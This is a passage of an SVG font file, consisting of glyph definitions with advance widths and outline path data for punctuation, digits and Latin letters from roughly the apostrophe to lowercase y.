-50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5zM442 1464q0 49 33 81t82 32q59 0 92 -50t33 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5z" /> -<glyph unicode="#" horiz-adv-x="1689" d="M82 489l35 148h338l88 362h-348l34 148h351l106 430h152l-107 -430h361l106 430h152l-107 -430h365l-35 -148h-367l-88 -362h377l-35 -148h-379l-118 -489h-152l119 489h-361l-118 -489h-152l119 489h-336zM606 637h361l88 362h-361z" /> -<glyph unicode="$" horiz-adv-x="1341" d="M117 281l125 118q131 -213 387 -252v607q-78 25 -129 44t-111.5 54t-95.5 75t-59.5 100t-24.5 136q0 117 42 204t109.5 133t133 68.5t135.5 28.5v125h131v-127q260 -25 411 -186l-127 -111q-106 109 -284 132v-537q109 -35 176.5 -63.5t145 -82t116.5 -132t39 -183.5 q0 -205 -138 -322.5t-339 -129.5v-119h-131v123q-336 39 -512 297zM381 1163q0 -86 64.5 -138t183.5 -91v498q-98 -14 -173 -76t-75 -193zM760 143q129 12 217 87t88 202q0 113 -79 173.5t-226 107.5v-570z" /> -<glyph unicode="%" horiz-adv-x="2066" d="M123 1167.5q0 118.5 35 205.5t93 133t122.5 67.5t136.5 21.5q74 0 138.5 -20.5t123.5 -67.5t93 -135t34 -209q-2 -227 -115.5 -326.5t-271.5 -99.5q-72 0 -136.5 21.5t-123.5 67.5t-94 134.5t-35 207zM276 1167q0 -168 70 -241.5t166 -73.5t163.5 72.5t69.5 238.5 q0 170 -68.5 244t-166.5 74q-96 -2 -165 -75t-69 -239zM350 -96l1188 1763h176l-1188 -1763h-176zM1167 416q2 227 115 327.5t272 102.5q74 0 138.5 -21.5t124 -67.5t93.5 -135.5t34 -209.5q-2 -227 -116 -326.5t-272 -99.5q-72 0 -136 21.5t-123.5 67.5t-94.5 134t-35 207z M1323 412q0 -166 68.5 -239t165 -73t164 73t69.5 239q0 168 -67.5 242.5t-163.5 76.5q-96 0 -166 -74.5t-70 -244.5z" /> -<glyph unicode="&" horiz-adv-x="1802" d="M123 410q0 150 95 254t267 200q-104 115 -157.5 203t-53.5 174q0 92 38 159.5t103.5 104.5t138.5 54.5t155 17.5q178 0 302 -80t124 -256q0 -121 -102.5 -210t-295.5 -187l377 -404q31 47 58 102l69 138l55 113l127 -78q-162 -324 -200 -387q182 -180 211 -174q37 0 53 3 t41.5 29.5t50.5 81.5l111 -65q-35 -78 -66 -124t-66.5 -63.5t-57 -21.5t-66.5 -4q-72 -8 -306 207q-184 -211 -491 -211q-59 0 -140 23.5t-168 70.5t-146.5 134t-59.5 196zM295 410q0 -84 68.5 -144.5t142.5 -84t131 -23.5q227 2 377 151l-432 455q-135 -74 -211 -157.5 t-76 -196.5zM446 1241q0 -90 195 -295q100 51 160.5 88t111 93.5t50.5 113.5q0 113 -74 163t-180 50q-109 0 -186 -51t-77 -162z" /> -<glyph unicode="'" horiz-adv-x="423" d="M92 1464q0 49 33 81t82 32q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 81.5z" /> -<glyph unicode="(" horiz-adv-x="692" d="M123 520q0 98 13.5 220t49 269.5t89 267.5t143.5 205t200 95l13 -143q-96 -35 -167 -144.5t-104.5 -255t-49 -273.5t-15.5 -241q0 -111 15.5 -238.5t49 -273t104.5 -256t167 -143.5l-13 -144q-113 12 -202.5 98.5t-142 205t-88 264t-49 266.5t-13.5 221z" /> -<glyph unicode=")" horiz-adv-x="692" d="M61 -391q96 33 167 143.5t105 256t49 273.5t15 238q0 113 -15 241t-49 273.5t-104.5 255t-167.5 144.5l13 143q111 -10 201 -95t143 -205t89 -267.5t49 -269.5t13 -220q0 -100 -13 -221t-49 -266.5t-88 -264t-142.5 -204.5t-202.5 -99z" /> -<glyph unicode="*" horiz-adv-x="1265" d="M100 1161l52 133l413 -166l-4 449h144l-5 -449l414 166l51 -133l-424 -166l295 -327l-118 -101l-285 353l-283 -353l-123 101l295 327z" /> -<glyph unicode="+" horiz-adv-x="1331" d="M102 496v137h484v493h137v-493h506v-137h-506v-496h-137v496h-484z" /> -<glyph unicode="," horiz-adv-x="413" d="M82 100.5q0 49.5 32.5 81t82.5 31.5q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 82z" /> -<glyph unicode="-" horiz-adv-x="708" d="M113 492v143h483v-143h-483z" /> -<glyph unicode="." horiz-adv-x="411" d="M92 100.5q0 49.5 33 81t82 31.5t80.5 -31.5t31.5 -81t-31.5 -82t-80.5 -32.5t-82 32.5t-33 82z" /> -<glyph unicode="/" horiz-adv-x="884" d="M41 -532l633 2109h170l-633 -2109h-170z" /> -<glyph unicode="0" horiz-adv-x="1253" d="M123 579.5q0 165.5 44 287.5t118.5 187.5t159.5 96.5t181.5 31t181.5 -31t159.5 -96.5t118.5 -187.5t44 -287.5t-44 -287.5t-118.5 -187.5t-159.5 -96.5t-181.5 -31t-181.5 31t-159.5 96.5t-118.5 187.5t-44 287.5zM295 579.5q0 -237.5 96 -344t235.5 -106.5t235.5 106.5 t96 344t-96 344t-235.5 106.5t-235.5 -106.5t-96 -344z" /> -<glyph unicode="1" horiz-adv-x="731" d="M102 936l293 221h166v-1157h-166v983l-182 -154z" /> -<glyph unicode="2" horiz-adv-x="1126" d="M102 0v131l71 49q44 31 155.5 120t196.5 169t156 176t71 162q0 109 -56.5 161t-152.5 50q-53 0 -104.5 -19.5t-85.5 -46t-59.5 -54.5t-37.5 -46l-12 -18q-104 98 -105 100q43 78 155 162t251 86q180 0 280.5 -92.5t100.5 -270.5q0 -139 -165 -323.5t-376 -345.5h627 l2 -150h-912z" /> -<glyph unicode="3" horiz-adv-x="1142" d="M82 -313l108 106q10 -8 28 -20.5t80 -30.5t130 -16q92 0 184.5 43t164 147t71.5 250q0 98 -74 173t-174 75q-41 0 -86 -6.5t-80 -13.5t-62.5 -15t-43.5 -14l-17 -5v144q166 68 262.5 148.5t96.5 197.5q0 74 -52.5 120t-125.5 46q-53 0 -99.5 -14.5t-76 -36t-51 -43 t-32.5 -35.5l-8 -15l-96 95q4 8 13.5 22.5t41 52t69.5 65.5t102.5 51.5t133.5 23.5q145 0 247 -93.5t102 -238.5q0 -158 -183 -293q152 -18 257.5 -126.5t109.5 -264.5q0 -147 -57.5 -268t-148.5 -192t-191.5 -108.5t-196.5 -37.5q-88 0 -175 31.5t-130 64.5z" /> -<glyph unicode="4" horiz-adv-x="1286" d="M82 0v90l803 1067h108v-1007h232v-150h-232v-440h-166v440h-745zM307 141l39 9h481v688l-491 -666l-29 -29v-2z" /> -<glyph unicode="5" horiz-adv-x="1208" d="M143 -301l107 104q8 -8 24.5 -21t79 -34.5t135.5 -21.5q150 0 281 115.5t131 328.5q0 115 -84 218.5t-203 103.5q-158 0 -270 -76h-166v741h770v-156h-604v-413q119 53 270 53q180 0 317.5 -143.5t145.5 -327.5q0 -147 -57 -268t-146.5 -192.5t-188.5 -110.5t-196 -39 q-104 0 -190 34.5t-121 69.5z" /> -<glyph unicode="6" horiz-adv-x="1269" d="M131 727q0 360 170 620.5t424 260.5q188 0 356 -135l-110 -107q-100 84 -240 84q-115 0 -202 -76t-134 -195.5t-71.5 -240.5t-26.5 -236q176 268 414 269q193 0 314.5 -111.5t121.5 -353.5q0 -80 -25.5 -164t-78 -167t-151.5 -136t-230 -53q-254 0 -392.5 191.5 t-138.5 549.5zM319 481q35 -168 123 -256t220 -88q111 0 185.5 66.5t101 145.5t26.5 157q0 164 -74 238.5t-190 74.5q-230 0 -392 -338z" /> -<glyph unicode="7" horiz-adv-x="1058" d="M10 -328q86 53 339 497.5t437 823.5h-696v164h907v-121q-195 -410 -478 -918.5t-394 -557.5z" /> -<glyph unicode="8" horiz-adv-x="1216" d="M133 350q2 143 97.5 263t224.5 208q-281 223 -281 439q0 92 38 160.5t103.5 106.5t138 55t154.5 17t155 -17t138.5 -55t103 -106.5t37.5 -160.5q0 -143 -98 -255t-221 -186q86 -63 137 -106t109.5 -104.5t86 -125t27.5 -133.5q0 -78 -24.5 -140.5t-59 -100t-87 -65.5 t-93.5 -40t-93 -19.5t-72 -7.5h-42h-4h-36q-13 0 -68 6.5t-95 18.5t-95.5 40t-91.5 65.5t-62.5 101t-26.5 141.5zM307 350q0 -55 19.5 -98t55.5 -66.5t67.5 -39t74.5 -19.5l55 -5q11 -1 29 -1h2q23 0 45.5 1t72.5 13t86 33.5t65.5 69t29.5 112.5q0 86 -86 174t-254 209 q-248 -160 -262 -383zM348 1260q0 -90 67.5 -174.5t188.5 -178.5q53 29 105.5 68t105.5 119t53 166q0 111 -75.5 159.5t-184 48.5t-184.5 -48.5t-76 -159.5z" /> -<glyph unicode="9" horiz-adv-x="1269" d="M123 662q0 80 25.5 163.5t78 166.5t151.5 136.5t230 53.5q254 0 392.5 -191.5t138.5 -550.5q0 -109 -20.5 -224.5t-69 -234t-116 -212t-171 -151.5t-225.5 -58q-117 0 -217.5 37.5t-155.5 76.5l112 109q119 -66 259 -66q115 0 202.5 75t136 194.5t72 239.5t27.5 237 q-180 -266 -414 -266q-193 0 -314.5 111.5t-121.5 353.5zM295 662q0 -164 73.5 -239t190.5 -75q227 0 391 336q-35 170 -123 258t-219 88q-111 0 -185.5 -66.5t-101 -145t-26.5 -156.5z" /> -<glyph unicode=":" horiz-adv-x="514" d="M143 100.5q0 49.5 33 81t82 31.5t81 -31.5t32 -81t-32 -82t-81 -32.5t-82 32.5t-33 82zM143 850q0 49 33 81t82 32t81 -32t32 -81t-32 -82t-81 -33t-82 33t-33 82z" /> -<glyph unicode=";" horiz-adv-x="526" d="M143 100.5q0 49.5 33 81t82 31.5q61 0 93 -50t32 -118q-2 -147 -152 -332l-86 29q102 127 121 244q-55 0 -89 32.5t-34 82zM143 850q0 49 33 81t82 32t81 -32t32 -81t-32 -82t-81 -33t-82 33t-33 82z" /> -<glyph unicode="<" horiz-adv-x="1433" d="M154 500v147l1136 514v-147l-975 -441l975 -440v-147z" /> -<glyph unicode="=" horiz-adv-x="1394" d="M133 344v137h1129v-137h-1129zM133 672v137h1129v-137h-1129z" /> -<glyph unicode=">" horiz-adv-x="1433" d="M143 -14v147l973 440l-973 441v147l1137 -514v-147z" /> -<glyph unicode="?" horiz-adv-x="1032" d="M84 1393q6 12 19.5 31.5t56.5 68.5t91 87t125 68.5t156 30.5q104 0 184.5 -25.5t125.5 -64.5t72.5 -91t35.5 -96t8 -91q0 -78 -24.5 -147.5t-81.5 -139.5t-93 -104l-114 -107q-164 -150 -164 -213q0 -88 94 -172l-104 -90q-53 47 -78.5 76.5t-47 79t-21.5 108.5 q0 90 52 164t161 170q74 68 118.5 116t86.5 119.5t44 139.5q0 225 -254 225q-59 0 -115.5 -25.5t-95 -61.5t-69.5 -72t-45 -62l-14 -25zM399 100.5q0 49.5 33 81t82 31.5t81 -31.5t32 -81t-32 -82t-81 -32.5t-82 32.5t-33 82z" /> -<glyph unicode="@" horiz-adv-x="2195" d="M123 535q0 266 141.5 507.5t378 388t502.5 146.5q215 0 395 -76t294 -199.5t176.5 -276.5t62.5 -312q0 -158 -54.5 -283t-133.5 -195.5t-175 -117.5t-170 -62.5t-129 -15.5q-166 0 -127 182q-209 -184 -412 -182q-276 2 -276 383q0 162 56.5 308.5t141.5 243.5t183 154.5 t184 57.5q190 0 297 -164l29 121l160 -37q-209 -928 -209 -938q6 -6 57 4t123 46t139.5 94.5t112.5 164t39 236.5q0 127 -51.5 249.5t-145.5 224t-242.5 164t-324.5 62.5q-221 0 -421 -125t-318.5 -328.5t-118.5 -424.5q0 -330 255 -552.5t603 -222.5q182 0 321.5 48.5 t341.5 216.5l103 -127q-231 -190 -392 -245.5t-374 -55.5q-270 0 -503.5 119.5t-376 337t-142.5 481.5zM760 422q0 -254 112 -260q78 -2 160 39t147.5 105.5t100.5 105.5t61 77l76 345q-55 135 -117.5 182t-138.5 47q-135 0 -268 -188.5t-133 -452.5z" /> -<glyph unicode="A" horiz-adv-x="1474" d="M61 0l582 1577h188l582 -1577h-190l-199 537h-575l-197 -537h-191zM506 692h461l-230 627z" /> -<glyph unicode="B" horiz-adv-x="1308" d="M174 0v1577h180v-115q117 76 190.5 106.5t164.5 30.5q166 0 284.5 -111.5t118.5 -344.5q-2 -223 -160 -324q129 -59 180.5 -154.5t51.5 -179.5v-10q0 -43 -1 -70.5t-11.5 -85t-29 -97.5t-57 -90t-94 -82t-142.5 -53.5t-198 -21.5q-137 4 -297 117v-92h-180zM354 236 q147 -92 297 -93q78 0 138.5 16.5t97.5 36t63.5 58.5t37.5 61.5t17.5 67.5t6.5 56v46q0 31 -13.5 65t-46 77t-106.5 72.5t-178 33.5q-59 -4 -314 -4v-493zM354 877h112q32 0 102.5 3t102.5 10l85 19q53 12 78.5 32t54.5 47.5t40 67.5t11 91q-2 145 -69.5 215t-161.5 70 q-160 0 -355 -119v-436z" /> -<glyph unicode="C" horiz-adv-x="1357" d="M123 752q0 203 59.5 369.5t154.5 267t208.5 154.5t228.5 54q92 0 174 -22.5t134.5 -53t92 -62.5t58.5 -54l16 -23l-125 -120l-11 17q-7 11 -38 40t-66.5 50.5t-99 38.5t-137.5 17q-186 0 -325.5 -174t-139.5 -499q0 -256 131 -430.5t320 -174.5q45 0 89 6.5t81 16.5 t70.5 23.5t61 28t50.5 28.5t40 27.5l29.5 23.5t18.5 16l6 7l111 -107q-61 -76 -117 -115q-176 -127 -436 -127q-274 0 -456.5 222.5t-182.5 554.5z" /> -<glyph unicode="D" horiz-adv-x="1503" d="M174 0v1577h180v-174q205 193 465 194q111 0 207 -45t178 -137t129 -256t47 -381q0 -342 -179 -572.5t-443 -230.5q-190 4 -404 142v-117h-180zM354 281q197 -129 404 -129q188 0 315 177t127 449q0 315 -111.5 477t-263.5 166q-281 0 -471 -194v-946z" /> -<glyph unicode="E" horiz-adv-x="1150" d="M174 0v1577h651l215 10v-186h-686v-508h584v-156h-584v-561h500l215 10v-186h-895z" /> -<glyph unicode="F" horiz-adv-x="1112" d="M174 0v1577h651l215 10v-186h-686v-508h584v-156h-584v-737h-180z" /> -<glyph unicode="G" horiz-adv-x="1525" d="M123 764q0 184 48 330.5t122 237.5t173 152.5t194.5 86t191.5 26.5q90 0 173 -24.5t138.5 -60t98.5 -71.5t61 -61l20 -24l-124 -121q-4 8 -14.5 21.5t-43.5 47t-70.5 59.5t-100 47.5t-130.5 23.5q-90 0 -180 -35t-176 -108.5t-140.5 -210t-54.5 -316.5q0 -100 30 -201.5 t90 -196t171 -153.5t254 -61q98 0 217 54t119 113v306h-211q-109 0 -166 30v164q74 -18 172 -18h365v-490q0 -135 -150.5 -233t-337.5 -103q-160 0 -290 51.5t-211.5 132.5t-137 187.5t-78 210t-22.5 207.5z" /> -<glyph unicode="H" horiz-adv-x="1519" d="M174 0v1577h180v-684h811v684h181v-1577h-181v737h-811v-737h-180z" /> -<glyph unicode="I" horiz-adv-x="528" d="M174 0v1577h180v-1577h-180z" /> -<glyph unicode="J" horiz-adv-x="585" d="M-20 -369q109 31 181 113t72 221v1612h181v-1612q0 -94 -26 -173t-63.5 -131t-90 -93t-96.5 -61.5t-93 -36.5z" /> -<glyph unicode="K" horiz-adv-x="1265" d="M174 0v1577h180v-711l541 711h227l-590 -737q45 -6 112 -38t106 -77q45 -45 244.5 -365.5t230.5 -355.5v-4h-219q-35 37 -188.5 295t-190.5 297q-82 90 -185 90q-61 0 -88 -6v-676h-180z" /> -<glyph unicode="L" horiz-adv-x="1202" d="M174 0v1577h180v-1401h561l215 10v-186h-956z" /> -<glyph unicode="M" horiz-adv-x="1742" d="M174 0v1577h180l514 -1352l2 -14l2 14l517 1352h180v-1577h-180v1106l2 31l-9 -31l-424 -1106h-174l-424 1106l-8 31l2 -31v-1106h-180z" /> -<glyph unicode="N" horiz-adv-x="1482" d="M174 0v1577h180v-2l762 -1239l14 -29l-2 29v1241h181v-1577h-181v2l-761 1243l-15 29l2 -29v-1245h-180z" /> -<glyph unicode="O" horiz-adv-x="1554" d="M123 790.5q0 225.5 55 389t152.5 252t208 127t241.5 38.5q102 -2 192.5 -25.5t176.5 -80.5t146.5 -146.5t98.5 -229.5t38 -320q0 -227 -55.5 -391t-152 -252.5t-207 -127t-241.5 -38.5t-240.5 38.5t-206 126t-151.5 251t-55 389zM303 795q0 -180 40 -310.5t109.5 -200 t149.5 -100t174 -30.5t174 30.5t149.5 99t110.5 198.5t41 309q0 176 -40 305t-109.5 198.5t-148.5 101t-173 34.5q-94 0 -175 -31t-151.5 -100.5t-110.5 -197.5t-40 -306z" /> -<glyph unicode="P" horiz-adv-x="1265" d="M174 0v1577h180v-123q190 143 365 143q160 -6 301 -140t143 -355q0 -287 -138 -458t-349 -171q-170 2 -322 107v-580h-180zM354 760q166 -129 330 -131q133 4 220 131t87 342q-2 145 -88 233t-184 95q-98 0 -176 -29t-189 -98v-543z" /> -<glyph unicode="Q" horiz-adv-x="1554" d="M123 780q0 182 38 325.5t99.5 235t148.5 150.5t178 82.5t193 23.5q129 -2 239.5 -44t206 -131t151 -253.5t55.5 -388.5q0 -207 -47.5 -362.5t-131.5 -244.5t-181 -135t-214 -58q70 -82 232 -82q53 0 192 32l49 -161q-88 -39 -241 -39q-96 0 -174 25.5t-124.5 68.5t-73 80 t-42.5 78q-244 29 -398.5 218t-154.5 580zM303 784q0 -180 40 -310t109.5 -199.5t149.5 -100.5t174 -31t174 31t149.5 99.5t110.5 198.5t41 308q0 143 -26.5 256t-71.5 184.5t-106.5 120t-127 67.5t-139.5 22q-94 0 -175 -33t-150.5 -103.5t-110.5 -201t-41 -308.5z" /> -<glyph unicode="R" horiz-adv-x="1349" d="M174 0v1577h180v-115q111 70 187.5 102.5t169.5 32.5q168 -4 295 -112.5t127 -335.5q0 -152 -54.5 -258.5t-128 -155.5t-170.5 -69q82 -70 271.5 -338.5t267.5 -323.5v-4h-223q-53 39 -134 146.5t-149 211t-150.5 192.5t-148.5 101q-113 0 -160 2v-653h-180zM354 799h303 q121 2 211 82t93 268q0 139 -76 207.5t-174 73.5q-100 0 -176 -27t-181 -88v-516z" /> -<glyph unicode="S" horiz-adv-x="1361" d="M117 281l125 118q78 -125 202.5 -189.5t272.5 -68.5q143 0 245.5 76t102.5 215q0 53 -22.5 97t-50 71t-84 53.5t-95.5 40t-108 33.5l-21 6q-94 29 -144.5 46.5t-124 55t-111.5 77.5t-66.5 104.5t-28.5 146.5q0 106 36 187.5t88 127.5t119.5 74.5t122 37.5t105.5 9 q150 0 280 -51t211 -139l-127 -111q-131 137 -364 138q-43 0 -87 -11.5t-95.5 -38t-84 -84t-32.5 -139.5q0 -45 22.5 -82t48 -59.5t85 -48t90 -35.5t106.5 -33q90 -29 146.5 -49t132 -60t119 -86t75 -118t31.5 -160q0 -217 -153.5 -336t-370.5 -119q-397 13 -596 304z" /> -<glyph unicode="T" horiz-adv-x="1150" d="M20 1421v156h1110v-156h-468v-1421h-181v1421h-461z" /> -<glyph unicode="U" horiz-adv-x="1460" d="M174 489v1088h180v-1083q0 -94 29 -163t70 -106t96 -59.5t97 -27.5t85 -5t84 5t96.5 27.5t95.5 58.5t69.5 104.5t29.5 160.5v1088h180v-1088q0 -133 -43 -232t-102.5 -151.5t-141 -83t-143 -39t-125.5 -8.5q-66 0 -126 8.5t-143 39t-142.5 83t-102.5 151.5t-43 232z" /> -<glyph unicode="V" horiz-adv-x="1433" d="M61 1577h191l459 -1296l6 -27l6 27l459 1296h190l-561 -1577h-188z" /> -<glyph unicode="W" horiz-adv-x="2019" d="M61 1577h189l328 -1270l4 -24l4 24l327 1270h191l328 -1270l4 -24l4 24l327 1270h191l-447 -1577h-149l-348 1217l-6 36l-7 -36l-344 -1217h-149z" /> -<glyph unicode="X" horiz-adv-x="1345" d="M61 0l500 786l-500 791h220l391 -616l393 616h219l-502 -791l502 -786h-221l-391 612l-389 -612h-222z" /> -<glyph unicode="Y" horiz-adv-x="1263" d="M20 1577h218l397 -627l399 627h209l-520 -821v-756h-178v756z" /> -<glyph unicode="Z" horiz-adv-x="1257" d="M104 0v168l789 1241h-768v168h987v-164l-788 -1245h594q23 -1 44 -1q154 0 193 40v-174q-18 -16 -78.5 -24.5t-111.5 -8.5h-52h-809z" /> -<glyph unicode="[" horiz-adv-x="735" d="M174 -532v2109h418v-123h-246v-1864h246v-122h-418z" /> -<glyph unicode="\" horiz-adv-x="905" d="M51 1577h170l633 -2109h-170z" /> -<glyph unicode="]" horiz-adv-x="735" d="M143 -410h246v1864h-246v123h418v-2109h-418v122z" /> -<glyph unicode="^" horiz-adv-x="1339" d="M82 0l514 1126h147l514 -1126h-147l-440 965l-441 -965h-147z" /> -<glyph unicode="_" horiz-adv-x="1353" d="M113 0h1128v-131h-1128v131z" /> -<glyph unicode="`" horiz-adv-x="729" d="M113 1432l43 145l460 -229l-43 -97z" /> -<glyph unicode="a" horiz-adv-x="1155" d="M123 283q0 72 14.5 124t53 103t120.5 87t207 54q213 29 285 47v129q0 51 -32 117t-95 66q-219 0 -344 -107q-18 -20 -16.5 -39.5t16.5 -34.5l-164 -30q-20 26 -20 64q0 24 8 52q20 74 92 115q218 121 445 121h7q100 0 165 -61.5t84.5 -129t19.5 -133.5v-555 q0 -16 4 -40.5t32.5 -73.5t77.5 -80l-110 -103q-119 47 -158 199q-186 -199 -385 -199q-20 0 -49 4.5t-77 22.5t-86 49t-66.5 91.5t-28.5 140.5zM293 283q0 -49 17.5 -85t42 -51.5t42 -21.5t29.5 -6q104 0 204.5 66.5t174.5 158.5v207q-100 -20 -266 -43 q-152 -20 -198 -74.5t-46 -150.5z" /> -<glyph unicode="b" horiz-adv-x="1292" d="M174 0v1679h172v-770q189 242 414 242h4q180 -2 292.5 -170t112.5 -399q0 -287 -125.5 -447t-347.5 -160q-156 0 -350 156v-131h-172zM346 319q76 -76 174 -126t176 -50q137 0 219 117t82 322q0 162 -64.5 280.5t-168.5 120.5h-4q-243 0 -414 -266v-398z" /> -<glyph unicode="c" horiz-adv-x="1044" d="M113 543q0 295 149 454q144 154 320 154h14q66 -2 125 -21.5t97 -46t67.5 -52t44.5 -44.5l12 -16l-108 -103q-2 4 -8.5 12.5t-27 28t-46 34.5t-68.5 28.5t-92 15.5h-8q-114 0 -205 -113q-94 -117 -94 -331q0 -172 82 -288t215 -116q51 0 81.5 4t83 32t109.5 81l107 -102 q-82 -82 -156 -124t-116 -48.5t-109 -6.5q-209 0 -339 162t-130 406z" /> -<glyph unicode="d" horiz-adv-x="1333" d="M123 545q0 287 126 446.5t347 159.5q156 0 350 -156v684h172v-1409q2 -16 7 -39.5t39 -77t87 -79.5l-141 -99q-143 78 -164 242q-189 -242 -414 -242h-4q-180 2 -292.5 170.5t-112.5 399.5zM295 545q0 -162 64.5 -281t168.5 -121h8q243 0 410 267v397q-80 76 -176 126 t-174 50q-137 0 -219 -116.5t-82 -321.5z" /> -<glyph unicode="e" horiz-adv-x="1187" d="M113 551q0 242 138 421t347 179q119 0 209 -46t136 -107.5t73.5 -139.5t35 -127t7.5 -84v-76h-774q0 -193 85 -318.5t236 -125.5q115 0 195 49q80 47 153 146l105 -101q-72 -88 -141.5 -144.5t-135 -74.5t-95.5 -22.5t-81 -4.5q-227 0 -360 167t-133 409zM309 723h570 q-10 47 -27.5 89t-48.5 87t-84 72.5t-121 27.5q-100 0 -177 -76.5t-112 -199.5z" /> -<glyph unicode="f" horiz-adv-x="825" d="M61 983v143h146v197q0 367 317 367q207 0 363 -129l-111 -107q-119 92 -252 92q-49 0 -79.5 -15t-45 -51t-18.5 -68t-4 -89v-197h332v-143h-332v-983h-170v983h-146z" /> -<glyph unicode="g" d="M123 -221q2 125 45 200.5t127 137.5q-96 41 -105 133q0 96 146 213q-170 96 -170 332q0 92 44 165.5t113.5 113.5t142.5 60.5t140 20.5q63 0 137 -18q133 121 310 120q55 0 123 -20l-29 -143q-37 12 -94 12q-88 0 -166 -33q160 -102 160 -278q0 -115 -44.5 -197 t-115 -122t-140 -56.5t-141.5 -16.5q-70 0 -123 11q-121 -86 -121 -164q6 -6 52.5 -9t120.5 -5l73 -3q119 -6 207 -21t179 -49t140.5 -101.5t49.5 -163.5q0 -199 -144.5 -330t-425.5 -131q-199 0 -345 98.5t-146 243.5zM297 -221q0 -82 94 -135.5t223 -53.5q197 0 301.5 87 t104.5 221q0 53 -36 90t-103.5 55t-128 26.5t-146.5 12.5q-119 0 -147 2q-84 -51 -123 -113.5t-39 -191.5zM338 795q0 -80 26.5 -135.5t70.5 -81t85 -34.5t86 -9t87 11t85 37.5t69.5 81t26.5 130.5q0 113 -86 171t-182 58t-182 -58t-86 -171z" /> -<glyph unicode="h" horiz-adv-x="1241" d="M174 0v1679h172v-790q270 262 492 262q260 0 260 -350v-801h-172v801q0 178 -88 178q-233 0 -492 -268v-711h-172z" /> -<glyph unicode="i" horiz-adv-x="555" d="M174 1475q0 45 29.5 73.5t75 28.5t74 -28.5t28.5 -73.5t-28.5 -75t-74 -30t-75 30t-29.5 75zM193 0v1126h169v-1126h-169z" /> -<glyph unicode="j" horiz-adv-x="452" d="M-72 -401q61 8 111.5 101t50.5 212v1214h170v-1214q0 -178 -87 -308t-193 -167zM72 1475q0 45 29.5 73.5t74.5 28.5t74 -28.5t29 -73.5t-29 -75t-74 -30t-74.5 30t-29.5 75z" /> -<glyph unicode="k" horiz-adv-x="1157" d="M174 0v1679h172v-950q383 268 449 397h174q-35 -133 -467 -458q66 -27 114 -80l338 -381q190 -207 213 -207h-231q-25 8 -102.5 91l-192.5 217l-147 169q-61 63 -99 74q-20 6 -49 -2v-549h-172z" /> -<glyph unicode="l" horiz-adv-x="573" d="M174 299v1380h170v-1380q0 -111 23 -133q45 -45 135 -45l-6 -146q-180 0 -250 70q-72 72 -72 254z" /> -<glyph unicode="m" horiz-adv-x="1882" d="M174 0v1126h172v-223q225 248 426 248q221 0 254 -254q227 254 432 254q260 0 260 -350v-801h-172v801q0 178 -88 178q-74 0 -140.5 -24.5t-123.5 -74t-87 -80t-75 -85.5v-715h-172v801q0 178 -88 178q-74 0 -140.5 -24.5t-123.5 -74t-87 -80t-75 -85.5v-715h-172z" /> -<glyph unicode="n" d="M174 0v1126h172v-237q270 262 492 262q260 0 260 -350v-801h-172v801q0 178 -88 178q-227 0 -492 -268v-711h-172z" /> -<glyph unicode="o" horiz-adv-x="1224" d="M123 563q0 166 41 285t112.5 182.5t154.5 92t181.5 28.5t181.5 -28.5t154.5 -92t112.5 -182.5t41 -285t-41 -284.5t-112.5 -182t-154.5 -92.5t-181.5 -29t-181.5 29t-154.5 92.5t-112.5 182t-41 284.5zM295 563.5q0 -237.5 91 -341t226.5 -103.5t226.5 103.5t91 341 t-91 341t-226.5 103.5t-226.5 -103.5t-91 -341z" /> -<glyph unicode="p" horiz-adv-x="1292" d="M174 -532v1658h172v-217q189 242 414 242h4q180 -2 292.5 -170t112.5 -399q0 -287 -125.5 -447t-347.5 -160q-156 0 -350 156v-663h-172zM346 319q76 -76 174 -126t176 -50q137 0 219 117t82 322q0 162 -64.5 280.5t-168.5 120.5h-4q-243 0 -414 -266v-398z" /> -<glyph unicode="q" horiz-adv-x="1292" d="M123 545q0 287 126 446.5t347 159.5q156 0 350 -156v131h172v-1658h-172v747q-193 -240 -414 -240h-4q-180 2 -292.5 170.5t-112.5 399.5zM295 545q0 -162 64.5 -281t168.5 -121h8q243 0 410 267v397q-80 76 -176 126t-174 50q-137 0 -219 -116.5t-82 -321.5z" /> -<glyph unicode="r" horiz-adv-x="940" d="M174 0v1126h172v-217q141 242 285 242q78 0 146.5 -28.5t96.5 -57.5l29 -27l-119 -114q-49 63 -145 63q-158 0 -293 -282v-705h-172z" /> -<glyph unicode="s" horiz-adv-x="1026" d="M92 205l119 96q45 -82 135 -131t191 -51q92 0 157.5 49t65.5 141q0 55 -43 96t-87 58.5t-124 42t-129 44t-106.5 56.5t-85 92.5t-27.5 130.5q0 78 26.5 138.5t65.5 94.5t90 55.5t91 27.5t79 6q223 0 354 -131l-110 -107q-88 94 -244 95q-39 0 -77 -11.5t-74.5 -54.5 t-36.5 -113q0 -35 17 -60.5t57 -46t70 -31.5t89 -29q74 -23 110.5 -35.5t95 -43t87.5 -62.5t52.5 -87t23.5 -125q0 -162 -115 -248t-277 -86q-131 0 -250.5 59.5t-189.5 170.5z" /> -<glyph unicode="t" horiz-adv-x="819" d="M92 983v143h144v308h172v-308h270v-143h-270v-655q0 -41 2 -66.5t11 -64.5t32.5 -58.5t60.5 -19.5q96 0 178 78l96 -93q-135 -129 -319 -129q-233 0 -233 353v655h-144z" /> -<glyph unicode="u" d="M164 326v800h172v-800q0 -178 88 -179q233 0 491 269v710h172v-1126h-172v236q-272 -260 -491 -261q-260 1 -260 351z" /> -<glyph unicode="v" horiz-adv-x="1144" d="M72 1126h198l293 -870l6 -39l4 19q2 18 2 20q246 813 312 870h186q-35 -43 -140.5 -324.5t-193.5 -541.5l-88 -260h-149z" /> -<glyph unicode="w" horiz-adv-x="1632" d="M72 1126h186l223 -839l6 -43l7 43l239 839h148l239 -839l8 -43l7 43q217 817 258 839h168q-25 -25 -114 -306t-165 -550l-78 -270h-145l-252 868l-248 -868h-162z" /> -<glyph unicode="x" horiz-adv-x="1216" d="M82 0q29 12 187.5 226t250.5 349l-397 551h217l278 -407q266 395 304 407h213q-49 -23 -420 -548l409 -578h-217l-291 434q-295 -426 -321 -434h-213z" /> -<glyph unicode="y" horiz-adv-x="1126" d="M59 -414q137 8 217 88q39 39 74 98.5t90 192.5l56 137l-394 1024h183l305 -790q307 754 352 790h195q-45 -43 -130 -232t-405 -974l-55 -131q-20 -47 -62.5 